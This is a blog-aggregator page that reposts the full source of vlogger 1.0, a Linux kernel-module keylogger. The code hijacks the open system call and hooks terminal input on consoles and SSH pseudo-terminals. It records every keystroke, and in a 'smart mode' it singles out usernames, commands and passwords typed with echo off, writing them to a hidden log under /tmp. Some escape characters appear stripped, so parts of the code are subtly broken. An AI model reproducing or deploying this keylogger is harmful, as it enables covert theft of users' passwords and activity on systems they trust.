zoukankan      html  css  js  c++  java
  • keyboard logger源代码

    /*
     * vlogger 1.0
     *
     * Copyright (C) 2002 rd <rd@vnsecurity.net>
     *
     * Please check http://www.thehackerschoice.com/ for update
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version
     *
     * This program is distributed in the hope that it will be useful, but 
     * WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 
     * General Public License for more details.
     *
     * Greets to THC & vnsecurity
     *
     */
    #define __KERNEL_SYSCALLS__
    #include <linux/version.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/smp_lock.h>
    #include <linux/sched.h>
    #include <linux/unistd.h>
    #include <linux/string.h>
    #include <linux/file.h>
    #include <asm/uaccess.h>
    #include <linux/proc_fs.h>
    #include <asm/errno.h>
    #include <asm/io.h>
    #ifndef KERNEL_VERSION
    #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
    #endif
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("rd@vnsecurity.net");
    #endif
    #define MODULE_NAME "vlogger "
    #define MVERSION "vlogger 1.0 - by rd@vnsecurity.netn"
    #ifdef DEBUG
    #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
    #else
    #define DPRINT(format, args...)
    #endif
    #define N_TTY_NAME "tty"
    #define N_PTS_NAME "pts"
    #define MAX_TTY_CON 8
    #define MAX_PTS_CON 256
    #define LOG_DIR "/tmp/log"
    #define PASS_LOG LOG_DIR "/pass.log"
    #define TIMEZONE 7*60*60 // GMT+7
    #define ESC_CHAR 27
    #define BACK_SPACE_CHAR1 127 // local
    #define BACK_SPACE_CHAR2 8 // remote
    #define VK_TOGLE_CHAR 29 // CTRL-]
    #define MAGIC_PASS "31337"  // to switch mode, press MAGIC_PASS and 
      // VK_TOGLE_CHAR
    #define VK_NORMAL 0
    #define VK_DUMBMODE 1
    #define VK_SMARTMODE 2
    #define DEFAULT_MODE VK_DUMBMODE
    #define MAX_BUFFER 256
    #define MAX_SPECIAL_CHAR_SZ 12
    #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start 
      + (tty)->driver.name_base
    #define TTY_INDEX(tty) tty->driver.type == 
      TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + 
      TTY_NUMBER(tty):TTY_NUMBER(tty)
    #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
    #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, 
        buf, count)
    #define TTY_NAME(tty) (tty->driver.type == 
     TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: 
     tty->driver.type == TTY_DRIVER_TYPE_PTY && 
     tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
    #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
    #define END_KMEM set_fs(old_fs); }
    extern void *sys_call_table[];
    int errno;
    struct tlogger {
     struct tty_struct *tty;
     char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
     int lastpos;
     int status;
     int pass;
    };
    struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
    void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
      char *, int);
    asmlinkage int (*original_sys_open)(const char *, int, int);
    int vlogger_mode = DEFAULT_MODE;
    /* Prototypes */
    static inline void init_tty(struct tty_struct *, int);
    /*
    static char *_tty_make_name(struct tty_struct *tty, 
      const char *name, char *buf)
    {
     int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
     if (!tty) 
     strcpy(buf, "NULL tty");
     else
     sprintf(buf, name,
      idx + tty->driver.name_base);
     return buf;
    }
    char *tty_name(struct tty_struct *tty, char *buf)
    {
     return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
    }
    */
    #define SECS_PER_HOUR  (60 * 60)
    #define SECS_PER_DAY  (SECS_PER_HOUR * 24)
    #define isleap(year) 
     ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
    #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
    #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
    struct vtm {
     int tm_sec;
     int tm_min;
     int tm_hour;
     int tm_mday;
     int tm_mon;
     int tm_year;
    };
    
    /* 
     * Convert from epoch to date 
     */
     
    int epoch2time (const time_t *t, long int offset, struct vtm *tp)
    {
     static const unsigned short int mon_yday[2][13] = {
      /* Normal years. */
      { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
      /* Leap years. */
      { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
     };
     long int days, rem, y;
     const unsigned short int *ip;
     days = *t / SECS_PER_DAY;
     rem = *t % SECS_PER_DAY;
     rem += offset;
     while (rem < 0) { 
     rem += SECS_PER_DAY;
     --days;
     }
     while (rem >= SECS_PER_DAY) {
     rem -= SECS_PER_DAY;
     ++days;
     }
     tp->tm_hour = rem / SECS_PER_HOUR;
     rem %= SECS_PER_HOUR;
     tp->tm_min = rem / 60;
     tp->tm_sec = rem % 60;
     y = 1970;
     while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
     long int yg = y + days / 365 - (days % 365 < 0);
     days -= ((yg - y) * 365
      + LEAPS_THRU_END_OF (yg - 1)
      - LEAPS_THRU_END_OF (y - 1));
     y = yg;
     }
     tp->tm_year = y - 1900;
     if (tp->tm_year != y - 1900)
     return 0;
     ip = mon_yday[isleap(y)];
     for (y = 11; days < (long int) ip[y]; --y)
     continue;
     days -= ip[y];
     tp->tm_mon = y;
     tp->tm_mday = days + 1;
     return 1;
    }
    
    /* 
     * Get current date & time
     */
    void get_time (char *date_time) 
    {
     struct timeval tv;
     time_t t;
     struct vtm tm;
     
     do_gettimeofday(&tv);
        t = (time_t)tv.tv_sec;
     
     epoch2time(&t, TIMEZONE, &tm);
     sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
     tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
     tm.tm_sec);
    }
    
    /* 
     * Get task structure from pgrp id
     */
    inline struct task_struct *get_task(pid_t pgrp) 
    {
     struct task_struct *task = current;
        do {
             if (task->pgrp == pgrp) {
                 return task;
             }
             task = task->next_task;
        } while (task != current);
        return NULL;
    }
    
    #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
    #define WRITABLE(f) (f->f_op && f->f_op->write)
    int write_to_file(char *logfile, char *buf, int size)
    {
     int ret = 0;
     struct file  *f = NULL;
     lock_kernel();
     BEGIN_KMEM;
     f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
     if (IS_ERR(f)) {
     DPRINT("Error %ld opening %sn", -PTR_ERR(f), logfile);
     ret = -1;
     } else {
     if (WRITABLE(f))
      _write(f, buf, size);
     else {
         DPRINT("%s does not have a write methodn",
          logfile);
      ret = -1;
     }
        
     if ((ret = filp_close(f,NULL)))
      DPRINT("Error %d closing %sn", -ret, logfile);
     }
     END_KMEM;
     unlock_kernel();
     return ret;
    }
    
    #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
    #define END_ROOT current->fsuid = saved_fsuid; }
    
    /* 
     * Logging keystrokes
     */
    void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) 
    {
     int i;
     char logfile[256];
     char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
     char date_time[24];
     struct task_struct *task;
     if (vlogger_mode == VK_NORMAL)
     return;
     if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
     return;
     
     task = get_task(tty->pgrp);
     
     for (i=0; i<tmp->lastpos; i++)
     if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
     if (!cont) 
     tmp->buf[tmp->lastpos++] = 0x0A;
     
     tmp->buf[tmp->lastpos] = 0;
     if (vlogger_mode == VK_DUMBMODE) {
     snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
      LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
     BEGIN_ROOT
     if (!tmp->status) {
      get_time(date_time);
      if (task)
      snprintf(loginfo, sizeof(loginfo)-1,
       "<%s uid=%d %s> %s", date_time,
       task->uid, task->comm, tmp->buf);
      else
      snprintf(loginfo, sizeof(loginfo)-1,
       "<%s> %s", date_time, tmp->buf);
      
      write_to_file(logfile, loginfo, strlen(loginfo));
     } else {
      write_to_file(logfile, tmp->buf, tmp->lastpos);
     }
     END_ROOT
    #ifdef DEBUG
     if (task)
      DPRINT("%s/%d uid=%d %s: %s", 
      TTY_NAME(tty), TTY_NUMBER(tty), 
      task->uid, task->comm, tmp->buf);
     else
      DPRINT("%s", tmp->buf);
    #endif
     tmp->status = cont;
     
     } else {
     /*
      * Logging USER/CMD and PASS in SMART_MODE
      */
     BEGIN_ROOT
     if (!tmp->pass) {
      get_time(date_time);
      if (task)
      snprintf(loginfo, sizeof(loginfo)-1,
       "n[%s tty=%s/%d uid=%d %s]n"
       "USER/CMD %s", date_time, 
       TTY_NAME(tty),TTY_NUMBER(tty), 
       task->uid, task->comm, tmp->buf);
      else
      snprintf(loginfo, sizeof(loginfo)-1,
       "n[%s tty=%s/%d]nUSER/CMD %s",
       date_time, TTY_NAME(tty), 
       TTY_NUMBER(tty), tmp->buf);
      write_to_file(PASS_LOG, loginfo, strlen(loginfo));
     } else {
      snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
       tmp->buf);
      write_to_file (PASS_LOG, loginfo, strlen(loginfo));
     }
     END_ROOT
    #ifdef DEBUG
     if (!tmp->pass)
      DPRINT("USER/CMD %s", tmp->buf);
     else
      DPRINT("PASS %s", tmp->buf);
    #endif
     }
     if (!cont) tmp->buf[--tmp->lastpos] = 0;
    }
    
    #define resetbuf(t) 
    {  
     t->buf[0] = 0; 
     t->lastpos = 0; 
    }
    #define append_c(t, s, n) 
    {  
     t->lastpos += n; 
     strncat(t->buf, s, n); 
    }
    static inline void reset_all_buf(void)
    {
     int i = 0;
     for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
     if (ttys[i] != NULL)
      resetbuf(ttys[i]);
    }
    void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
    {
       switch(count) {
       case 2:
          switch(cp[1]) {
      case ''':
      append_c(tmp, "[ALT-']", 7);
      break;
      case ',':
      append_c(tmp, "[ALT-,]", 7);
      break;
      case '-':
      append_c(tmp, "[ALT--]", 7);
      break;
      case '.':
      append_c(tmp, "[ALT-.]", 7);
      break;
      case '/':
      append_c(tmp, "[ALT-/]", 7);
      break;
      case '0':
      append_c(tmp, "[ALT-0]", 7);
      break;
      case '1':
      append_c(tmp, "[ALT-1]", 7);
      break;
      case '2':
      append_c(tmp, "[ALT-2]", 7);
      break;
      case '3':
      append_c(tmp, "[ALT-3]", 7);
      break;
      case '4':
      append_c(tmp, "[ALT-4]", 7);
      break;
      case '5':
      append_c(tmp, "[ALT-5]", 7);
      break;
      case '6':
      append_c(tmp, "[ALT-6]", 7);
      break;
      case '7':
      append_c(tmp, "[ALT-7]", 7);
      break;
      case '8':
      append_c(tmp, "[ALT-8]", 7);
      break;
      case '9':
      append_c(tmp, "[ALT-9]", 7);
      break;
      case ';':
      append_c(tmp, "[ALT-;]", 7);
      break;
      case '=':
      append_c(tmp, "[ALT-=]", 7);
      break;
      case '[':
      append_c(tmp, "[ALT-[]", 7);
      break;
      case '\':
      append_c(tmp, "[ALT-\]", 7);
      break;
      case ']':
      append_c(tmp, "[ALT-]]", 7);
      break;
      case '`':
      append_c(tmp, "[ALT-`]", 7);
      break;
      case 'a':
      append_c(tmp, "[ALT-A]", 7);
      break;
      case 'b':
      append_c(tmp, "[ALT-B]", 7);
      break;
      case 'c':
      append_c(tmp, "[ALT-C]", 7);
      break;
      case 'd':
      append_c(tmp, "[ALT-D]", 7);
      break;
      case 'e':
      append_c(tmp, "[ALT-E]", 7);
      break;
      case 'f':
      append_c(tmp, "[ALT-F]", 7);
      break;
      case 'g':
      append_c(tmp, "[ALT-G]", 7);
      break;
      case 'h':
      append_c(tmp, "[ALT-H]", 7);
      break;
      case 'i':
      append_c(tmp, "[ALT-I]", 7);
      break;
      case 'j':
      append_c(tmp, "[ALT-J]", 7);
      break;
      case 'k':
      append_c(tmp, "[ALT-K]", 7);
      break;
      case 'l':
      append_c(tmp, "[ALT-L]", 7);
      break;
      case 'm':
      append_c(tmp, "[ALT-M]", 7);
      break;
      case 'n':
      append_c(tmp, "[ALT-N]", 7);
      break;
      case 'o':
      append_c(tmp, "[ALT-O]", 7);
      break;
      case 'p':
      append_c(tmp, "[ALT-P]", 7);
      break;
      case 'q':
      append_c(tmp, "[ALT-Q]", 7);
      break;
      case 'r':
      append_c(tmp, "[ALT-R]", 7);
      break;
      case 's':
      append_c(tmp, "[ALT-S]", 7);
      break;
      case 't':
      append_c(tmp, "[ALT-T]", 7);
      break;
      case 'u':
      append_c(tmp, "[ALT-U]", 7);
      break;
      case 'v':
      append_c(tmp, "[ALT-V]", 7);
      break;
      case 'x':
      append_c(tmp, "[ALT-X]", 7);
      break;
      case 'y':
      append_c(tmp, "[ALT-Y]", 7);
      break;
      case 'z':
      append_c(tmp, "[ALT-Z]", 7);
      break;
     }
     break;
       case 3:
     switch(cp[2]) {
      case 68:
      // Left: 27 91 68
      append_c(tmp, "[LEFT]", 6);
      break;
      case 67:
      // Right: 27 91 67
      append_c(tmp, "[RIGHT]", 7);
      break;
      case 65:
      // Up: 27 91 65
      append_c(tmp, "[UP]", 4);
      break;
      case 66:
      // Down: 27 91 66
      append_c(tmp, "[DOWN]", 6);
      break;
      case 80:
      // Pause/Break: 27 91 80 
      append_c(tmp, "[BREAK]", 7);
      break;
     }
     break;
       case 4:
     switch(cp[3]) {
      case 65:
      // F1: 27 91 91 65
      append_c(tmp, "[F1]", 4);
      break;
      case 66:
      // F2: 27 91 91 66
      append_c(tmp, "[F2]", 4);
      break;
      case 67:
      // F3: 27 91 91 67
      append_c(tmp, "[F3]", 4);
      break;
      case 68:
      // F4: 27 91 91 68
      append_c(tmp, "[F4]", 4);
      break;
      case 69:
      // F5: 27 91 91 69
      append_c(tmp, "[F5]", 4);
      break;
      case 126:
      switch(cp[2]) {
       case 53:
       // PgUp: 27 91 53 126
       append_c(tmp, "[PgUP]", 6);
       break;
       case 54:
       // PgDown: 27 91 54 126
       append_c(tmp, 
        "[PgDOWN]", 8);
       break;
       case 49:
       // Home: 27 91 49 126
       append_c(tmp, "[HOME]", 6);
       break;
       case 52:
       // End: 27 91 52 126
       append_c(tmp, "[END]", 5);
       break;
       case 50:
       // Insert: 27 91 50 126
       append_c(tmp, "[INS]", 5);
       break;
       case 51:
       // Delete: 27 91 51 126
       append_c(tmp, "[DEL]", 5);
       break;
      }
      break;
     }
     break;
       case 5:
     if(cp[2] == 50)
      switch(cp[3]) {
      case 48:
       // F9: 27 91 50 48 126
       append_c(tmp, "[F9]", 4);
       break;
      case 49:
       // F10: 27 91 50 49 126
       append_c(tmp, "[F10]", 5);
       break;
      case 51:
       // F11: 27 91 50 51 126
       append_c(tmp, "[F11]", 5);
       break;
      case 52:
       // F12: 27 91 50 52 126
       append_c(tmp, "[F12]", 5);
       break;
      case 53:
       // Shift-F1: 27 91 50 53 126
       append_c(tmp, "[SH-F1]", 7);
       break;
      case 54:
       // Shift-F2: 27 91 50 54 126
       append_c(tmp, "[SH-F2]", 7);
       break;
      case 56:
       // Shift-F3: 27 91 50 56 126
       append_c(tmp, "[SH-F3]", 7);
       break;
      case 57:
       // Shift-F4: 27 91 50 57 126
       append_c(tmp, "[SH-F4]", 7);
       break;
      }
     else
      switch(cp[3]) {
      case 55:
       // F6: 27 91 49 55 126
       append_c(tmp, "[F6]", 4);
       break;
         case 56:
       // F7: 27 91 49 56 126
       append_c(tmp, "[F7]", 4);
       break;
         case 57:
       // F8: 27 91 49 57 126
       append_c(tmp, "[F8]", 4);
       break;
         case 49:
       // Shift-F5: 27 91 51 49 126
       append_c(tmp, "[SH-F5]", 7);
       break;
         case 50:
       // Shift-F6: 27 91 51 50 126
       append_c(tmp, "[SH-F6]", 7);
       break;
         case 51:
       // Shift-F7: 27 91 51 51 126
       append_c(tmp, "[SH-F7]", 7);
       break;
         case 52:
       // Shift-F8: 27 91 51 52 126
       append_c(tmp, "[SH-F8]", 7);
       break;
      };
     break;
       default: // Unknow
     break;
      }
    }
    
    /* 
     * Called whenever user press a key
     */
    void vlogger_process(struct tty_struct *tty, 
      const unsigned char *cp, int count)
    {
     struct tlogger *tmp = ttys[TTY_INDEX(tty)];
     if (!tmp) {
     DPRINT("erm .. unknow error???n");
     init_tty(tty, TTY_INDEX(tty));
     tmp = ttys[TTY_INDEX(tty)];
     if (!tmp)
      return;
     }
     if (vlogger_mode == VK_SMARTMODE) {
     if (tmp->status && !IS_PASSWD(tty)) {
      resetbuf(tmp);
     } 
     if (!tmp->pass && IS_PASSWD(tty)) {
      logging(tty, tmp, 0);
      resetbuf(tmp);
     }
     if (tmp->pass && !IS_PASSWD(tty)) { 
      if (!tmp->lastpos)
      logging(tty, tmp, 0);
      resetbuf(tmp);
     }
     tmp->pass = IS_PASSWD(tty);
     tmp->status = 0;
     }
     if ((count + tmp->lastpos) > MAX_BUFFER - 1) { 
     logging(tty, tmp, 1);
     resetbuf(tmp);
     } 
     if (count == 1) {
     if (cp[0] == VK_TOGLE_CHAR) {
      if (!strcmp(tmp->buf, MAGIC_PASS)) {
      if(vlogger_mode < 2)
       vlogger_mode++;
      else
       vlogger_mode = 0;
      reset_all_buf();
      switch(vlogger_mode) {
       case VK_DUMBMODE:
         DPRINT("Dumb Moden");
       TTY_WRITE(tty, "rn"
         "Dumb Moden", 12);
       break;
       case VK_SMARTMODE:
          DPRINT("Smart Moden");
       TTY_WRITE(tty, "rn"
       "Smart Moden", 13);
       break;
       case VK_NORMAL:
          DPRINT("Normal Moden");
       TTY_WRITE(tty, "rn"
       "Normal Moden", 14);
      }
      }
     }
     switch (cp[0]) {
      case 0x01: //^A
      append_c(tmp, "[^A]", 4);
      break;
      case 0x02: //^B
      append_c(tmp, "[^B]", 4);
      break;
      case 0x03: //^C
      append_c(tmp, "[^C]", 4);
      case 0x04: //^D
      append_c(tmp, "[^D]", 4);
      case 0x0D: //^M
      case 0x0A:
      if (vlogger_mode == VK_SMARTMODE) {
       if (IS_PASSWD(tty)) {
       logging(tty, tmp, 0);
       resetbuf(tmp);
       } else
       tmp->status = 1;
      } else {
       logging(tty, tmp, 0);
       resetbuf(tmp);
      }
      break;
      case 0x05: //^E
      append_c(tmp, "[^E]", 4);
      break;
      case 0x06: //^F
      append_c(tmp, "[^F]", 4);
      break;
      case 0x07: //^G
      append_c(tmp, "[^G]", 4);
      break;
      case 0x09: //TAB - ^I
      append_c(tmp, "[TAB]", 5);
      break;
      case 0x0b: //^K
      append_c(tmp, "[^K]", 4);
      break;
      case 0x0c: //^L
      append_c(tmp, "[^L]", 4);
      break;
      case 0x0e: //^E
      append_c(tmp, "[^E]", 4);
      break;
      case 0x0f: //^O
      append_c(tmp, "[^O]", 4);
      break;
      case 0x10: //^P
      append_c(tmp, "[^P]", 4);
      break;
      case 0x11: //^Q
      append_c(tmp, "[^Q]", 4);
      break;
      case 0x12: //^R
      append_c(tmp, "[^R]", 4);
      break;
      case 0x13: //^S
      append_c(tmp, "[^S]", 4);
      break;
      case 0x14: //^T
      append_c(tmp, "[^T]", 4);
      break;
      case 0x15: //CTRL-U
      resetbuf(tmp);
      break;  
      case 0x16: //^V
      append_c(tmp, "[^V]", 4);
      break;
      case 0x17: //^W
      append_c(tmp, "[^W]", 4);
      break;
      case 0x18: //^X
      append_c(tmp, "[^X]", 4);
      break;
      case 0x19: //^Y
      append_c(tmp, "[^Y]", 4);
      break;
      case 0x1a: //^Z
      append_c(tmp, "[^Z]", 4);
      break;
      case 0x1c: //^
      append_c(tmp, "[^\]", 4);
      break;
      case 0x1d: //^]
      append_c(tmp, "[^]]", 4);
      break;
      case 0x1e: //^^
      append_c(tmp, "[^^]", 4);
      break;
      case 0x1f: //^_
      append_c(tmp, "[^_]", 4);
      break;
      case BACK_SPACE_CHAR1:
      case BACK_SPACE_CHAR2:
      if (!tmp->lastpos) break;
      if (tmp->buf[tmp->lastpos-1] != ']')
       tmp->buf[--tmp->lastpos] = 0;
      else {
       append_c(tmp, "[^H]", 4);
      }
      break;
      case ESC_CHAR: //ESC
      append_c(tmp, "[ESC]", 5);
      break;
      default:
      tmp->buf[tmp->lastpos++] = cp[0];
      tmp->buf[tmp->lastpos] = 0;
     }
     } else { // a block of chars or special key
     if (cp[0] != ESC_CHAR) {
      while (count >= MAX_BUFFER) {
      append_c(tmp, cp, MAX_BUFFER);
      logging(tty, tmp, 1);
      resetbuf(tmp);
      count -= MAX_BUFFER;
      cp += MAX_BUFFER;
      }
      append_c(tmp, cp, count);
     } else  // special key
      special_key(tmp, cp, count);
     }
    }
    
    void my_tty_open(void) 
    {
     int fd, i;
     char dev_name[80];
    #ifdef LOCAL_ONLY
     int fl = 0;
     struct tty_struct * tty;
     struct file * file;
    #endif
     for (i=1; i<MAX_TTY_CON; i++) {
     snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
     BEGIN_KMEM
      fd = open(dev_name, O_RDONLY, 0);
      if (fd < 0) continue;
    #ifdef LOCAL_ONLY
      file = fget(fd);
      tty = file->private_data;
      if (tty != NULL && 
      tty->ldisc.receive_buf != NULL) {
      if (!fl) {
       old_receive_buf = 
       tty->ldisc.receive_buf;
       fl = 1;
      }
      init_tty(tty, TTY_INDEX(tty));
      }
      fput(file);
    #endif
      close(fd);
     END_KMEM
     }
    #ifndef LOCAL_ONLY
     for (i=0; i<MAX_PTS_CON; i++) {
     snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
     BEGIN_KMEM
      fd = open(dev_name, O_RDONLY, 0);
      if (fd >= 0) close(fd);
     END_KMEM
     }
    #endif
    }
    
    void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
       char *fp, int count)
    {
     if (!tty->real_raw && !tty->raw) // ignore raw mode
     vlogger_process(tty, cp, count);
     (*old_receive_buf)(tty, cp, fp, count);
    }
    
    static inline void init_tty(struct tty_struct *tty, int tty_index)
    {
     struct tlogger *tmp;
     DPRINT("Init logging for %s%dn", TTY_NAME(tty), TTY_NUMBER(tty));
     if (ttys[tty_index] == NULL) {
     tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
     if (!tmp) {
      DPRINT("kmalloc failed!n");
      return;
     }
     memset(tmp, 0, sizeof(struct tlogger));
     tmp->tty = tty;
     tty->ldisc.receive_buf = new_receive_buf;
     ttys[tty_index] = tmp;
     } else {
     tmp = ttys[tty_index];
     logging(tty, tmp, 1);
     resetbuf(tmp);
     tty->ldisc.receive_buf = new_receive_buf;
     }
    }
    
    asmlinkage int new_sys_open(const char *filename, int flags, int mode)
    {
     int ret;
     static int fl = 0;
     struct file * file;
     
     ret = (*original_sys_open)(filename, flags, mode);
     
     if (ret >= 0) {
     struct tty_struct * tty;
       BEGIN_KMEM
        lock_kernel();
     file = fget(ret);
     tty = file->private_data;
     if (tty != NULL && 
      ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
      TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
      (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
      tty->driver.subtype == PTY_TYPE_SLAVE &&
      TTY_NUMBER(tty) < MAX_PTS_CON)) &&
      tty->ldisc.receive_buf != NULL &&
      tty->ldisc.receive_buf != new_receive_buf) {
      if (!fl) {
      old_receive_buf = tty->ldisc.receive_buf;
      fl = 1;
      }
      init_tty(tty, TTY_INDEX(tty));
     }
     fput(file);
     unlock_kernel();
       END_KMEM
     }
     return ret;
    }
    
    int init_module(void)
    {
     DPRINT(MVERSION);
    #ifndef LOCAL_ONLY
     original_sys_open = sys_call_table[__NR_open];
     sys_call_table[__NR_open] = new_sys_open;
    #endif
     my_tty_open();
    // MOD_INC_USE_COUNT;
     return 0;
    }
    DECLARE_WAIT_QUEUE_HEAD(wq);
    void cleanup_module(void)
    {
     int i;
    #ifndef LOCAL_ONLY
     sys_call_table[__NR_open] = original_sys_open;
    #endif
     for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
     if (ttys[i] != NULL) {
      ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
     }
     }
     sleep_on_timeout(&wq, HZ);
     for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
     if (ttys[i] != NULL) {
      kfree(ttys[i]);
     }
     }
     DPRINT("Unloadedn");
    }
    

  • 相关阅读:
    Serialize and Deserialize Binary Tree
    sliding window substring problem汇总贴
    10. Regular Expression Matching
    《深入理解计算机系统》(CSAPP)读书笔记 —— 第七章 链接
    程序员如何写一份合格的简历?(附简历模版)
    9个提高代码运行效率的小技巧你知道几个?
    《深入理解计算机系统》(CSAPP)读书笔记 —— 第六章 存储器层次结构
    24张图7000字详解计算机中的高速缓存
    《深入理解计算机系统》(CSAPP)实验四 —— Attack Lab
    《深入理解计算机系统》(CSAPP)读书笔记 —— 第五章 优化程序性能
  • 原文地址:https://www.cnblogs.com/wangyaning/p/4237042.html
Copyright © 2011-2022 走看看